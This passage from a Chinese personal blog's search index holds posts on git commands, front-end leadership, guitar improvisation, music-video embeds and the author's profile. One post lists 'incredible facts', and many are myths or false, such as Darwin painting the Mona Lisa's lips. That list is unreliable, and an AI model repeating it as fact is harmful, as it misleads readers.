‘分支名’"></a>git checkout ‘分支名’</h3><blockquote><p>切换分支</p></blockquote><h3 id="git-checkout-b-newtest"><a href="#git-checkout-b-newtest" class="headerlink" title="git checkout -b newtest"></a>git checkout -b newtest</h3><blockquote><p>创建新分支并切换到该分支下</p></blockquote><h3 id="git-merge-分支"><a href="#git-merge-分支" class="headerlink" title="git merge 分支"></a>git merge 分支</h3><blockquote><p>合并分支</p></blockquote>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 版本管理 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> git </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>Amani-间奏</title>
|
||
<link href="/Amani-%E9%97%B4%E5%A5%8F-1.html"/>
|
||
<url>/Amani-%E9%97%B4%E5%A5%8F-1.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><div id="dplayer0" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer0"),"autoplay":true,"theme":"#fff","loop":true,"video":{"url":"http://orjedzer5.bkt.clouddn.com/blog/video/music/amani%EF%BC%88%E9%97%B4%E5%A5%8F%EF%BC%89.mp4"},"danmaku":{"id":"1","api":"http://dplayer.daoapp.io","token":"tokendemo"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 音乐 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 音乐 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>前端的职业路线</title>
|
||
<link href="/%E5%89%8D%E7%AB%AF%E7%9A%84%E8%81%8C%E4%B8%9A%E8%B7%AF%E7%BA%BF.html"/>
|
||
<url>/%E5%89%8D%E7%AB%AF%E7%9A%84%E8%81%8C%E4%B8%9A%E8%B7%AF%E7%BA%BF.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>小结，一个优秀的前端leader，我认为应该具备的能力：</p><h3 id="技术功底"><a href="#技术功底" class="headerlink" title="技术功底"></a>技术功底</h3><blockquote><p>重要功能或需求的开发，或提供解决方案，做技术选型</p></blockquote><h4 id="技术专攻"><a href="#技术专攻" class="headerlink" title="技术专攻"></a>技术专攻</h4><pre><code>· HTML 理解语义化· CSS 动态居中动画 Bootstrap 样式类 Preprocessor兼容性 Hack与特征检测 CSS3属性与性能· js Name hoisting Prototype Closure Main loop Promise Delegation Cross domain· Mobile 渐进增强 移动端交互 兼容性问题· Debug工具· 方法性能 JSCache control 性能测试</code></pre><h3 id="沟通能力"><a href="#沟通能力" class="headerlink" title="沟通能力"></a>沟通能力</h3><blockquote><p>具备产品思维，需求分析评审，分发开发任务，和产品经理、设计师以及后端等沟通、协调</p></blockquote><h3 id="项目管理能力"><a href="#项目管理能力" class="headerlink" title="项目管理能力"></a>项目管理能力</h3><blockquote><p>开发需求的跟进，代码review，代码合并与发布等，精通svn或git是必须的，记住是精通，你新招的新手同事很可能不知道什么时候把别人写好的东西弄没了，你至少要知道如何找回吧</p></blockquote><h3 id="文档功力和执行力"><a href="#文档功力和执行力" class="headerlink" title="文档功力和执行力"></a>文档功力和执行力</h3><blockquote><p>前端开发规范，开发文档、开发标准的建立和实施，关键是实施</p></blockquote><h3 id="做老师的能力"><a href="#做老师的能力" class="headerlink" title="做老师的能力"></a>做老师的能力</h3><blockquote><p>新员工的培训、辅导</p></blockquote><h3 id="行业观察能力"><a href="#行业观察能力" class="headerlink" title="行业观察能力"></a>行业观察能力</h3><blockquote><p>前端的技术更新太快了，一个优秀的前端leader还要引导团队了解和学习新的技术，为以后做技术储备</p></blockquote><h3 id="不要太宅"><a href="#不要太宅" class="headerlink" title="不要太宅"></a>不要太宅</h3><blockquote><p>这很重要，技术男大多很宅，要想做一个好的leader，就要多和不同的人特别是多和沟通方面强势的人打交道。<br>要不，等你做到leader的位置，即便是站在前端的角度来看有些极度不合理的需求，你也可能镇不住，天天接这样的需求，怨言就犹如漫天飞雪，受不了的人会选择离开，如果你的团队离职率高的话。。。Boss会觉得你是合适的吗？</p></blockquote>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> web前端 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 职业规划 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>一些不可思议的的事</title>
|
||
<link href="/%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%8F%AF%E6%80%9D%E8%AE%AE%E7%9A%84%E7%9A%84%E4%BA%8B.html"/>
|
||
<url>/%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%8F%AF%E6%80%9D%E8%AE%AE%E7%9A%84%E7%9A%84%E4%BA%8B.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><ol><li>没有一张纸可对折超过7次</li><li>根据统计每年骡仔所杀的人比飞机失事所死的人还多</li><li>人睡觉比坐着看电视所消耗的卡路里还多</li><li>Wright’sBrother发明飞机后第一次试飞的路程比一架波音747飞机的飞机翼还短</li><li>很多人每朝起来都喝一杯咖啡提神，但其实一个苹果比一杯咖啡还有效</li><li>你的家中多数尘埃都是你的死皮</li><li>洋娃娃Barbie 全名是Barabra Millicent Roberts</li><li>希特拉的妈妈在怀有希特拉曾认真地考虑堕胎，不过被医说服，结果把他生下来</li><li>玛丽莲梦露有6只脚趾</li><li>降落伞的发明人把第一次乘坐降落伞的机会让给了一只狗</li><li>印度尼西亚竹节虫是全世界最大的昆虫，有些光是身长就有一呎长</li><li>其实，河马跑得比人快</li><li>珍珠在醋中会溶</li><li>一只70磅的章鱼可以穿过一个仅一枚银币大小的洞，因为他们没有脊椎</li><li>你有可能将一只牛拉上楼梯，但牛是不懂下楼梯的</li><li>猪不能仰头望天空</li><li>‘quick brown fox jumps over the lazy dog’可以用尽26个字母</li><li>鸭的叫声是不会有回音的，暂时没有人知何解</li><li>蜗牛可不吃东西睡3年</li><li>著名影星Tommy Lee Jones与美国副总统曾经是哈佛大学同房</li><li>如果一个月中，第一天是星期日，那个月便出现黑色星期五</li><li>把石头放在微波炉中加热会爆炸</li><li>1,111,111 x 1,111,111 = 1234567654321</li><li>唯一一个有15英文字母而又不会重复是的英文字’uncopyrightable’</li><li>猫可发出超过100个音，狗却只能发10个音</li><li>愈黑的环境下，猫的排尿次数会增加</li><li>将一个硬币向上抛1000次，字向上的次数是495次，不是500次，因为公较重</li><li>根据牛津字典世界上最长的英文字是’pneumonoultramicroscopicsilicovolcanoconiosis’</li><li>人体的胃每2个星期便会更新一次分泌物，否则它会自我消化</li><li>可乐原是绿色的</li><li>虎鲨的胚胎在母亲的子宫里需经过激烈的搏斗，胜利者就是可以活着出生的小虎鲨</li><li>走路上班的人最高比率的省是阿拉斯加</li><li>如果Barbie是人类，她是身形是39-23-33</li><li>美国平均每小时在空中的人有61000人</li><li>只有一种食物不会变坏:蜜糖</li><li>在加勒比海附近有一种蚝是会爬榭的</li><li>世界上最年轻的父母在1910年出现，一个8岁及另一个9岁的中国人</li><li>人顃的鼻及耳是毕生都不断长大</li><li>下午摘下的玫瑰比清晨摘下的玫瑰更能持久不枯萎</li><li>乳牛听音乐时可以供应更多牛奶</li><li>一条长颈鹿的舌头有2尺长</li><li>大象可用头来站立</li><li>蚂蚁早上醒来会抓痒</li><li>伟大发明家爱迪生是怕黑的</li><li>世上最老的金鱼是41岁，名叫Fred</li><li>爱因斯坦9岁时不能流利说话，他妈妈曾经一度以为他是弱智</li><li>阿拉伯的女人可以因为丈夫不为她倒咖啡而提出离婚</li><li>只有55%的美国人知道太阳是一个星体</li><li>多数唇膏是有鱼鳞的</li><li>长颈鹿没办法咳嗽</li><li>猫头鹰是唯一能够分辨蓝色的鸟类</li><li>一只鲸鱼一分钟心跳只有九下</li><li>我们喝到肚子里头的水已经有三亿岁了</li><li>只有百分之三十的人可以放大缩小自己的鼻孔</li><li>一只牡蛎的性别会由男变女，此后一生中还会变个几次</li><li>根据一项1845年由英国通过的法律，自杀是非常严重的罪，最重可以处以吊死的极刑</li><li>在太空中航天员是没办法哭的，因为没有地心引力，眼泪流不出来</li><li>一只变色龙的舌头是它自己身体的两倍长</li><li>最常用牙签的人是美国人</li><li>一个正常人的眼部肌肉一天平均要动上一万到一万五千次</li><li>大象死后还会保持站立姿势</li><li>有些昆虫没有头还可以再活上一年</li><li>达尔文光是画蒙那莉萨的嘴唇就花上十二年</li><li>玻璃破掉时，玻璃碎片的时速最高可达每小时三千英哩</li></ol><blockquote><p>世间真是无奇不有….</p></blockquote>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 生活 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 趣事 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>电吉他即兴原理</title>
|
||
<link href="/%E7%94%B5%E5%90%89%E4%BB%96%E5%8D%B3%E5%85%B4%E5%8E%9F%E7%90%86.html"/>
|
||
<url>/%E7%94%B5%E5%90%89%E4%BB%96%E5%8D%B3%E5%85%B4%E5%8E%9F%E7%90%86.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="第一阶段"><a href="#第一阶段" class="headerlink" title="第一阶段"></a>第一阶段</h2><ul><li><p>先确定好和弦进行，比如 1－6－4－5</p></li><li><p>再找到该调中每个和弦的五级和弦，5－3－1－2</p></li><li><p>把两个和弦的音归拢 12357 － 56713 － 34561 － 45672</p><blockquote><p>这样每个和弦就可以用那5个音了。现在先练习一下，在C大调中的 C-Am-F-G中用每个和弦对应的那5个音来进行第一步的练习。（对应的5个音可以按照默认的那个顺序也可以打乱练习，重点听这些音对和弦产生的效果）</p></blockquote></li></ul><h2 id="第二阶段"><a href="#第二阶段" class="headerlink" title="第二阶段"></a>第二阶段</h2><ul><li><p>重点音与经过音。</p></li><li><p>在上个练习后大家应该找到每个和弦拥有的那5个音中哪些对该和弦的性质有比较明显的效果，哪些音对该和弦有特殊的效果，哪些音对该和弦没有多大用处比较平淡。（每个人的感觉不同，练习时候的心态和练习内容不同所以最终对音乐的感受也不一样，自然最后确定的音附也不一样，相信自己的感觉，这样坚持才能发展自己的特点）</p></li><li><p>将找到的对每个和弦有用的音作为该和弦的重点，没用的作为经过音，同时不包含在每个和弦的那5个音中剩余的那两个音（46－24－27－13）刚开始练习阶段不要弹，以后熟练了再作为经过音加入到练习中。</p><blockquote><p>（这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）</p></blockquote></li></ul><h2 id="第三阶段"><a href="#第三阶段" class="headerlink" title="第三阶段"></a>第三阶段</h2><ul><li><p>这次就是节奏的训练，同样的旋律试着把每个音的时值改变，加入附点音，先现音，休止符等。并随着水平的进步加快速度。</p><blockquote><p>从第一阶段到这个阶段差不多要练3－6个月的时间，大家先好好练习吧</p></blockquote></li><li><p>（这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）</p></li></ul><h2 id="各个阶段的重点"><a href="#各个阶段的重点" class="headerlink" title="各个阶段的重点"></a>各个阶段的重点</h2><p>建议大家先一个和弦一个和弦的练，把每个和弦和他对应的音练熟再换下一个和弦，然后再将两个和弦连起来练，然后再练下一个，再下一个，再连起来。</p><ul><li><p>第一阶段的重点就是一定要在和弦中充分的把每一个应该弹的音在大脑里反映清楚并且弹好记熟。</p></li><li><p>第二阶段重点就要特别留意每个音符和对应的每个和弦和感觉（首先和弦的分解音肯定是比较稳定的感觉，剩下的两个音才是关键他们分别是和弦根音的7度和9度，这两个音和不同的和弦内音组成的旋律感觉最有特色）</p><blockquote><p> 另外刚开始一定注意，慢速弹，一定把要弹的音先在脑子过一遍在反映到琴上，熟练以后才能得心应手，还要注意，每个和弦有5个可以选择的音符，还剩下的两个音（相对于和弦的根音是4度和6度）不是不能用，大家可以试试，这两个音给人的感觉并不是很舒服，最好在完成这两个阶段以后在加入进来练习。</p></blockquote></li></ul>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 音乐 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 电吉他 </tag>
|
||
|
||
<tag> 即兴原理 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>我是愤怒</title>
|
||
<link href="/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.html"/>
|
||
<url>/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><div id="dplayer3" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer3"),"autoplay":true,"theme":"#fff","loop":true,"video":{"url":"http://orjedzer5.bkt.clouddn.com/blog/video/music/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.mp4"},"danmaku":{"id":"3","api":"http://dplayer.daoapp.io","token":"tokendemo"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 音乐 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> rock </tag>
|
||
|
||
<tag> beyond </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>光辉岁月-间奏</title>
|
||
<link href="/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88-%E9%97%B4%E5%A5%8F.html"/>
|
||
<url>/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88-%E9%97%B4%E5%A5%8F.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><div id="dplayer2" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer2"),"autoplay":true,"theme":"#fff","loop":true,"video":{"url":"http://orjedzer5.bkt.clouddn.com/blog/video/music/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88%EF%BC%88%E9%97%B4%E5%A5%8F%EF%BC%89.mp4"},"danmaku":{"id":"2","api":"http://dplayer.daoapp.io","token":"tokendemo"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 音乐 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> rock </tag>
|
||
|
||
<tag> beyond </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>梦中的婚礼</title>
|
||
<link href="/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.html"/>
|
||
<url>/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><div id="dplayer4" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer4"),"autoplay":true,"theme":"#fff","loop":true,"video":{"url":"http://orjedzer5.bkt.clouddn.com/blog/video/music/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.mp4"},"danmaku":{"id":"4","api":"http://dplayer.daoapp.io","token":"tokendemo"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 音乐 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> FS </tag>
|
||
|
||
<tag> 古典 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
|
||
|
||
|
||
<entry>
|
||
<title></title>
|
||
<link href="/googlec841984147bd55ec.html"/>
|
||
<url>/googlec841984147bd55ec.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script>google-site-verification: googlec841984147bd55ec.html]]></content>
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>个人简介</title>
|
||
<link href="/about/index.html"/>
|
||
<url>/about/index.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>姓名：江志雄<br>英文名：Feax<br>性别：你看我头像女的吗？<br>专业：软件工程</p><h2 id="工作经历"><a href="#工作经历" class="headerlink" title="工作经历"></a>工作经历</h2><ul><li><p>南昌·午逅科技<br> ①、H5 活动模块开发。</p><blockquote><p>2017.06 – 2017.09</p></blockquote></li><li><p>杭州·机蜜<br> ①、各大类型平台、活动、协议模块合作开发<br> ②、基础组件开发</p><blockquote><p>2017.10 – 至今</p></blockquote></li></ul><h2 id="技术栈"><a href="#技术栈" class="headerlink" title="技术栈"></a>技术栈</h2><p>前端技术框架很多，取其精华，抛弃糟蹋，目前只列出我目前比较青睐，并且会深入研究的个人技术方案。</p><h3 id="前端"><a href="#前端" class="headerlink" title="前端"></a>前端</h3><ul><li>Vue.Js (移动端)</li><li>React.Js (PC端)</li><li>RN (APP端)</li></ul><h3 id="SSR"><a href="#SSR" class="headerlink" title="SSR"></a>SSR</h3><ul><li>Next（React）</li><li>Nuxt（Vue）</li></ul><h3 id="后端"><a href="#后端" class="headerlink" title="后端"></a>后端</h3><ul><li>Nodejs (Expres.Js、Koa2.Js)</li><li>eggJS（正在学习…）</li><li>python (准备学习…)</li></ul><h3 id="数据库"><a href="#数据库" class="headerlink" title="数据库"></a>数据库</h3><ul><li>MongoDB（非关系型）</li><li>mySql（关系型）</li><li>Redis（缓存）</li></ul><h3 id="自动化工具"><a href="#自动化工具" class="headerlink" title="自动化工具"></a>自动化工具</h3><ul><li>gulp</li><li>webpack</li><li>parcel</li></ul><h3 id="版本管理"><a href="#版本管理" class="headerlink" title="版本管理"></a>版本管理</h3><ul><li>GIT</li></ul><h3 id="代码规范"><a href="#代码规范" class="headerlink" title="代码规范"></a>代码规范</h3><ul><li>BEM（HTML风格）</li><li>Stylus（CSS风格）</li><li>ESlint（JS风格）</li></ul><h3 id="测试"><a href="#测试" class="headerlink" title="测试"></a>测试</h3><ul><li>mocha</li></ul><h3 id="集成部署"><a href="#集成部署" class="headerlink" title="集成部署"></a>集成部署</h3><ul><li>travisCI</li></ul><h3 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h3><ul><li>axure 8（产品原型）</li><li>Xmind（思维导图）</li></ul><h2 id="兴趣爱好"><a href="#兴趣爱好" class="headerlink" title="兴趣爱好"></a>兴趣爱好</h2><blockquote><p>看书<br>健身<br>摇滚</p></blockquote><h2 id="自我介绍"><a href="#自我介绍" class="headerlink" title="自我介绍"></a>自我介绍</h2><p>介绍这东西大都是虚的，你需要的是和我面对面的交流和长时间的相处。</p><h2 id="未来的目标"><a href="#未来的目标" class="headerlink" title="未来的目标"></a>未来的目标</h2><ul><li>工作：专注于自己喜欢的领域，然后精通它。</li><li>生活：世界很大，不要只是生活在自己的小小世界里。</li><li>理想：做一件能改变他人、乃至影响世界的事。</li></ul> <div id="aplayer-bsTTVMlP" class="aplayer aplayer-tag-marker" style="margin-bottom: 20px;"> <pre class="aplayer-lrc-content"></pre> </div> <script> var ap = new APlayer({ element: document.getElementById("aplayer-bsTTVMlP"), narrow: false, autoplay: true, showlrc: false, music: { title: "日落大道", author: "梁博", url: "http://orjedzer5.bkt.clouddn.com/blog/song/%E6%A2%81%E5%8D%9A%20%E6%97%A5%E8%90%BD%E5%A4%A7%E9%81%93.mp3", pic: "", lrc: "" } }); window.aplayers || (window.aplayers = []); window.aplayers.push(ap); </script>]]></content>
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>gallery</title>
|
||
<link href="/gallery/index.html"/>
|
||
<url>/gallery/index.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script>]]></content>
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>links</title>
|
||
<link href="/links/index.html"/>
|
||
<url>/links/index.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script>]]></content>
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>tags</title>
|
||
<link href="/tags/index.html"/>
|
||
<url>/tags/index.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script>]]></content>
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>时间轴</title>
|
||
<link href="/timeline/index.html"/>
|
||
<url>/timeline/index.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script>]]></content>
|
||
</entry>
|
||
|
||
|
||
</search>
|